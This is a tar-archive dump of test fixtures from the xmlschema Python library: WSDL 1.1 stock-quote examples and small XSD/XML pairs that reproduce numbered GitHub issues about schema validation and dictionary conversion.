name="GetTradePricesOutput"> <part name="result" type="xsd1:ArrayOfFloat"/> <part name="frequency" type="xsd:float"/> </message> <portType name="StockQuotePortType"> <operation name="GetLastTradePrice" parameterOrder="tickerSymbol timePeriod frequency"> <input message="tns:GetTradePricesInput"/> <output message="tns:GetTradePricesOutput"/> </operation> </portType> <binding name="StockQuoteSoapBinding" type="tns:StockQuotePortType"> <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/> <operation name="GetTradePrices"> <soap:operation soapAction="http://example.com/GetTradePrices"/> <input> <soap:body use="encoded" namespace="http://example.com/stockquote" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/> </input> <output> <soap:body use="encoded" namespace="http://example.com/stockquote" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/> </output> </operation>> </binding> <service name="StockQuoteService"> <documentation>My first service</documentation> <port name="StockQuotePort" binding="tns:StockQuoteBinding"> <soap:address location="http://example.com/stockquote"/> </port> </service> </definitions>����������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/wsdl/wsdl11_example5_valid.wsdl���������������������������0000664�0000000�0000000�00000006133�15020401055�0026543�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <!-- Example from WSDL 1.1 definition with SOAP 1.1 bindings: href: https://www.w3.org/TR/2001/NOTE-wsdl-20010315#_soap-e --> <definitions name="StockQuote" targetNamespace="http://example.com/stockquote.wsdl" xmlns:tns="http://example.com/stockquote.wsdl" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsd1="http://example.com/stockquote/schema" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns="http://schemas.xmlsoap.org/wsdl/"> <types> <schema targetNamespace="http://example.com/stockquote/schema" xmlns="http://www.w3.org/2001/XMLSchema" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"> <!-- use fallback locations for finding soap-encoding.xsd schema --> <import namespace="http://schemas.xmlsoap.org/soap/encoding/"/> <complexType name="TimePeriod"> <all> <element name="startTime" type="xsd:time"/> <element name="endTime" type="xsd:time"/> </all> </complexType> <complexType name="ArrayOfFloat"> <complexContent> <restriction base="soapenc:Array"> <attribute ref="soapenc:arrayType" wsdl:arrayType="xsd:float[]"/> </restriction> </complexContent> </complexType> </schema> </types> <message name="GetTradePricesInput"> <part name="tickerSymbol" type="xsd:string"/> <part name="timePeriod" type="xsd1:TimePeriod"/> </message> <message name="GetTradePricesOutput"> <part name="result" type="xsd1:ArrayOfFloat"/> <part name="frequency" type="xsd:float"/> </message> <portType name="StockQuotePortType"> <operation name="GetTradePrices" parameterOrder="tickerSymbol timePeriod frequency"> <input message="tns:GetTradePricesInput"/> <output message="tns:GetTradePricesOutput"/> </operation> </portType> <binding name="StockQuoteBinding" type="tns:StockQuotePortType"> <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/> <operation name="GetTradePrices"> <soap:operation soapAction="http://example.com/GetTradePrices"/> <input> <soap:body use="encoded" namespace="http://example.com/stockquote" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/> </input> <output> <soap:body use="encoded" namespace="http://example.com/stockquote" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/> </output> </operation> </binding> <service name="StockQuoteService"> <documentation>My first service</documentation> <port name="StockQuotePort" binding="tns:StockQuoteBinding"> <soap:address location="http://example.com/stockquote"/> </port> </service> </definitions>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/wsdl/wsdl11_example5_with_fault.wsdl����������������������0000664�0000000�0000000�00000006526�15020401055�0027620�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <!-- Example from WSDL 1.1 definition with SOAP 1.1 bindings: href: https://www.w3.org/TR/2001/NOTE-wsdl-20010315#_soap-e --> <definitions name="StockQuote" targetNamespace="http://example.com/stockquote.wsdl" xmlns:tns="http://example.com/stockquote.wsdl" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsd1="http://example.com/stockquote/schema" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns="http://schemas.xmlsoap.org/wsdl/"> <types> <schema targetNamespace="http://example.com/stockquote/schema" xmlns="http://www.w3.org/2001/XMLSchema" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"> <!-- use fallback locations for finding soap-encoding.xsd schema --> <import namespace="http://schemas.xmlsoap.org/soap/encoding/"/> <complexType name="TimePeriod"> <all> <element name="startTime" type="xsd:time"/> <element name="endTime" type="xsd:time"/> </all> </complexType> <complexType name="ArrayOfFloat"> <complexContent> <restriction base="soapenc:Array"> <attribute ref="soapenc:arrayType" wsdl:arrayType="xsd:float[]"/> </restriction> </complexContent> </complexType> </schema> </types> <message name="GetTradePricesInput"> <part name="tickerSymbol" type="xsd:string"/> <part name="timePeriod" type="xsd1:TimePeriod"/> </message> <message name="GetTradePricesOutput"> <part name="result" type="xsd1:ArrayOfFloat"/> <part name="frequency" type="xsd:float"/> </message> <message name="FaultMessage"> <part name="fault" type="xsd:string"/> </message> <portType name="StockQuotePortType"> <operation name="GetTradePrices" parameterOrder="tickerSymbol timePeriod frequency"> <input message="tns:GetTradePricesInput"/> <output message="tns:GetTradePricesOutput"/> <fault name="fault" message="tns:FaultMessage"/> </operation> </portType> <binding name="StockQuoteBinding" type="tns:StockQuotePortType"> <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/> <operation name="GetTradePrices"> <soap:operation soapAction="http://example.com/GetTradePrices"/> <input> <soap:body use="encoded" namespace="http://example.com/stockquote" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/> </input> <output> <soap:body use="encoded" namespace="http://example.com/stockquote" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/> </output> <fault name="fault"> <soap:fault name="fault"/> </fault> </operation> </binding> <service name="StockQuoteService"> <documentation>My first service</documentation> <port name="StockQuotePort" binding="tns:StockQuoteBinding"> <soap:address location="http://example.com/stockquote"/> </port> </service> </definitions>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0020277�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_008/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022016�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_008/issue_008.xml�������������������������������������0000664�0000000�0000000�00000000374�15020401055�0024263�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_008.xsd"> <empno>a</empno> <designation>b</designation> <name>c</name> <age>1</age> </root>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_008/issue_008.xsd�������������������������������������0000664�0000000�0000000�00000001025�15020401055�0024253�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" type="root"/> <xs:complexType name="root"> <xs:choice> <xs:sequence> <xs:element name="empno" type="xs:string"/> <xs:element name="designation" type="xs:string" /> </xs:sequence> <xs:sequence> <xs:element name="name" type="xs:string" /> <xs:element name="age" type="xs:unsignedByte" /> </xs:sequence> </xs:choice> </xs:complexType> </xs:schema>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_009/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022017�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_009/issue_009.xsd�������������������������������������0000664�0000000�0000000�00000000457�15020401055�0024265�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" type="root"/> <xs:complexType name="root"> <xs:element name="empno" type="xs:string"/> <xs:element name="age" type="xs:unsignedByte" /> </xs:complexType> </xs:schema>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_013/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022012�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_013/issue_013-1.xml�����������������������������������0000664�0000000�0000000�00000000272�15020401055�0024406�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <LegalType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_013-1.xsd" _Id="FE">FE</LegalType>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_013/issue_013-1.xsd�����������������������������������0000664�0000000�0000000�00000001333�15020401055�0024403�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="ID_TYPE"> <xs:restriction base="xs:token"> <xs:maxLength value="10"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="STRING_30"> <xs:restriction base="xs:string"> <xs:maxLength value="30"/> </xs:restriction> </xs:simpleType> <xs:complexType name="TYPE_ATTR_STRING_30"> <xs:simpleContent> <xs:extension base="STRING_30"> <xs:attribute name="_Id" type="ID_TYPE" use="required"/> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="LegalType" type="TYPE_ATTR_STRING_30"/> </xs:schema>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_013/issue_013-2.xml�����������������������������������0000664�0000000�0000000�00000000353�15020401055�0024407�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <LegalType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_013-1.xsd" _Id="FE"> This is a string with more than 30 characters </LegalType>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_013/issue_013.xml�������������������������������������0000664�0000000�0000000�00000000270�15020401055�0024246�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <LegalType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_013.xsd" _Id="FE">FE</LegalType>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_013/issue_013.xsd�������������������������������������0000664�0000000�0000000�00000001441�15020401055�0024245�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="SecIdType"> <xs:restriction base="xs:token"> <xs:maxLength value="10"/> </xs:restriction> </xs:simpleType> <xs:complexType name="SecIdAttrType"> <xs:simpleContent> <xs:extension base="xs:string"> <xs:attribute name="_Id" type="SecIdType" use="required"/> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="LegalType"> <xs:complexType> <xs:simpleContent> <xs:restriction base="SecIdAttrType"> <xs:maxLength value="30"/> </xs:restriction> </xs:simpleContent> </xs:complexType> </xs:element> </xs:schema>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_014/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022013�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_014/issue014.xsd��������������������������������������0000664�0000000�0000000�00000001054�15020401055�0024110�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns="http://www.w3.org/2001/XMLSchema" xmlns:platformCore="urn:core_2017_1.platform.webservices.netsuite.com" targetNamespace="urn:sales_2017_1.transactions.webservices.netsuite.com" elementFormDefault="qualified"> <xsd:import namespace="urn:core_2017_1.platform.webservices.netsuite.com" schemaLocation="https://webservices.netsuite.com/xsd/platform/v2017_1_0/core.xsd"/> <element name="Opportunity" type="platformCore:RecordRef"/> </xsd:schema>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_018/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022017�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_018/issue_018-1.xml�����������������������������������0000664�0000000�0000000�00000000301�15020401055�0024411�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="./issue_018.xsd"> <node mode="A" value="High"/> <node mode="B" name="Low"/> </root> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_018/issue_018.xsd�������������������������������������0000664�0000000�0000000�00000002651�15020401055�0024263�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<!--Note: this is an XSD 1.1 schema --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" type="rootType"/> <xs:element name="node" type="nodeType"> <xs:alternative test="@mode='A'" type="nodeA"/> <xs:alternative test="@mode='B'" type="nodeB"/> </xs:element> <xs:complexType name="rootType"> <xs:sequence> <xs:element ref="node" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> <xs:complexType name="nodeType"> <xs:attribute name="mode" type="allowed-node-types"/> </xs:complexType> <xs:simpleType name="allowed-node-types"> <xs:restriction base="xs:string"> <xs:enumeration value="A"/> <xs:enumeration value="B"/> </xs:restriction> </xs:simpleType> <xs:complexType name="nodeA"> <xs:complexContent> <xs:extension base="nodeType"> <xs:attribute name="value" type="xs:string" use="required"/> <xs:anyAttribute /> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="nodeB"> <xs:complexContent> <xs:extension base="nodeType"> <xs:attribute name="name" type="xs:string" use="required"/> <xs:anyAttribute processContents="skip"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:schema>���������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_022/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022012�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_022/README.md�����������������������������������������0000664�0000000�0000000�00000002030�15020401055�0023264�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������From [issue #22](https://github.com/brunato/xmlschema/issues/22#issuecomment-345236067). Core of the issue is described as follows: > One thing I noticed is that the to_dict function is not consistent in how it > creates values in the dictionary for sequences. The sequence can already be > anticipated from the .xsd, so I would have expected those values to be within > array structures no matter the number of sequence elements present in the > parent xml element. See xsd in `./xsd_string.xsd`. See xml in `./xml_string_1.xml` and `./xml_string_2.xml`. ```` python import xmlschema xsd_schema = xmlschema.XMLSchema(xsd_string) xml_data_1 = xsd_schema.to_dict(xml_string_1) xml_data_2 = xsd_schema.to_dict(xml_string_2) print(xml_data_1) {'bar': {'@name': 'bar_1', 'subject_name': 'Bar #1'}} print(xml_data_2) {'bar': [{'@name': 'bar_1', 'subject_name': 'Bar #1'}, {'@name': 'bar_2', 'subject_name': 'Bar #2'}]} ```` We would expect the output from each to contain a list; The first a list with one dictionary. ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_022/xml_string_1.xml����������������������������������0000664�0000000�0000000�00000000202�15020401055�0025134�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <foo> <bar name="bar_1"> <subject_name>Bar #1</subject_name> </bar> </foo> ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_022/xml_string_2.xml����������������������������������0000664�0000000�0000000�00000000320�15020401055�0025136�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <foo> <bar name="bar_1"> <subject_name>Bar #1</subject_name> </bar> <bar name="bar_2"> <subject_name>Bar #2</subject_name> </bar> </foo> ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_022/xsd_string.xsd������������������������������������0000664�0000000�0000000�00000001232�15020401055�0024714�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified" attributeFormDefault="unqualified"> <xs:element name="foo" type="Foo" /> <xs:complexType name="Foo"> <xs:sequence minOccurs="1" maxOccurs="unbounded"> <xs:element name="bar" type="Bar" /> </xs:sequence> </xs:complexType> <xs:complexType name="Bar"> <xs:sequence minOccurs="1" maxOccurs="1"> <xs:element name="subject_name" type="xs:string" /> </xs:sequence> <xs:attribute name="name" type="xs:string" use="required" /> </xs:complexType> </xs:schema>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_026/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022016�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_026/issue_026-1.xml�����������������������������������0000664�0000000�0000000�00000000345�15020401055�0024417�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <foo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_026.xsd"> <bar name="BAR"> <subject_name>Bar</subject_name> </bar> </foo>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_026/issue_026-2.xml�����������������������������������0000664�0000000�0000000�00000000340�15020401055�0024413�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <foo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_026.xsd"> <bar name="RAB"> <subject_name>Bar</subject_name> </bar> </foo>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_026/issue_026-3.xml�����������������������������������0000664�0000000�0000000�00000000325�15020401055�0024417�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <foo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_026.xsd"> <bar> <subject_name>Bar</subject_name> </bar> </foo>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_026/issue_026.xsd�������������������������������������0000664�0000000�0000000�00000001230�15020401055�0024251�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified" attributeFormDefault="unqualified"> <xs:element name="foo" type="Foo" /> <xs:complexType name="Foo"> <xs:sequence minOccurs="1" maxOccurs="unbounded"> <xs:element name="bar" type="Bar" /> </xs:sequence> </xs:complexType> <xs:complexType name="Bar"> <xs:sequence minOccurs="1" maxOccurs="1"> <xs:element name="subject_name" type="xs:string" /> </xs:sequence> <xs:attribute name="name" fixed="BAR" use="required" /> </xs:complexType> </xs:schema>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_028/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022020�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_028/issue_028-1.xml�����������������������������������0000664�0000000�0000000�00000000313�15020401055�0024416�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_028.xsd"> <foo>my_foo</foo> <bar>my_bar</bar> </root>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_028/issue_028-2.xml�����������������������������������0000664�0000000�0000000�00000000265�15020401055�0024425�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_028.xsd"> <foo>my_foo</foo> </root>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_028/issue_028.xsd�������������������������������������0000664�0000000�0000000�00000000541�15020401055�0024261�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" type="Root" /> <xs:complexType name="Root"> <xs:all> <xs:element name="foo" type="xs:string" /> <xs:element name="bar" type="xs:string" /> </xs:all> </xs:complexType> </xs:schema>���������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_029/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022021�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_029/issue_029-1.xml�����������������������������������0000664�0000000�0000000�00000000313�15020401055�0024420�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_029.xsd"> <foo>my_foo</foo> <bar>my_bar</bar> </root>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_029/issue_029-2.xml�����������������������������������0000664�0000000�0000000�00000000237�15020401055�0024426�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_029.xsd"> </root>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_029/issue_029-3.xml�����������������������������������0000664�0000000�0000000�00000000265�15020401055�0024430�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="issue_029.xsd"> <foo>my_foo</foo> </root>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_029/issue_029.xsd�������������������������������������0000664�0000000�0000000�00000000553�15020401055�0024266�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" type="Root" /> <xs:complexType name="Root"> <xs:sequence> <xs:element name="foo" type="xs:string" /> <xs:element name="bar" type="xs:string" /> </xs:sequence> </xs:complexType> </xs:schema>�����������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_035/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022016�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_035/dates.xml�����������������������������������������0000664�0000000�0000000�00000001545�15020401055�0023645�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <!--file structure> <string></string> <day1/> <day2/> <month1/> <month2/> <year1/> <year2/> <periodicity/> <interim_number/> --> <dates xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="dates.xsd"> <row> <string>2017-01-01</string> <day1>01</day1> <month1>01</month1> <year1>2017</year1> </row> <row> <string>2017-01-01 2017-12-31</string> <day1>01</day1> <day2>31</day2> <month1>01</month1> <month2>12</month2> <year1>2017</year1> <year2>2017</year2> </row> <row> <string>Q4 2017</string> <year1>2017</year1> <periodicity>Q</periodicity> <interim_number>4</interim_number> </row> <row> <string>abrakadabra costam costam 17</string> <abc></abc> </row> </dates>�����������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_035/dates.xsd�����������������������������������������0000664�0000000�0000000�00000002071�15020401055�0023636�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="dates"> <xs:complexType> <xs:sequence> <xs:element name="row" 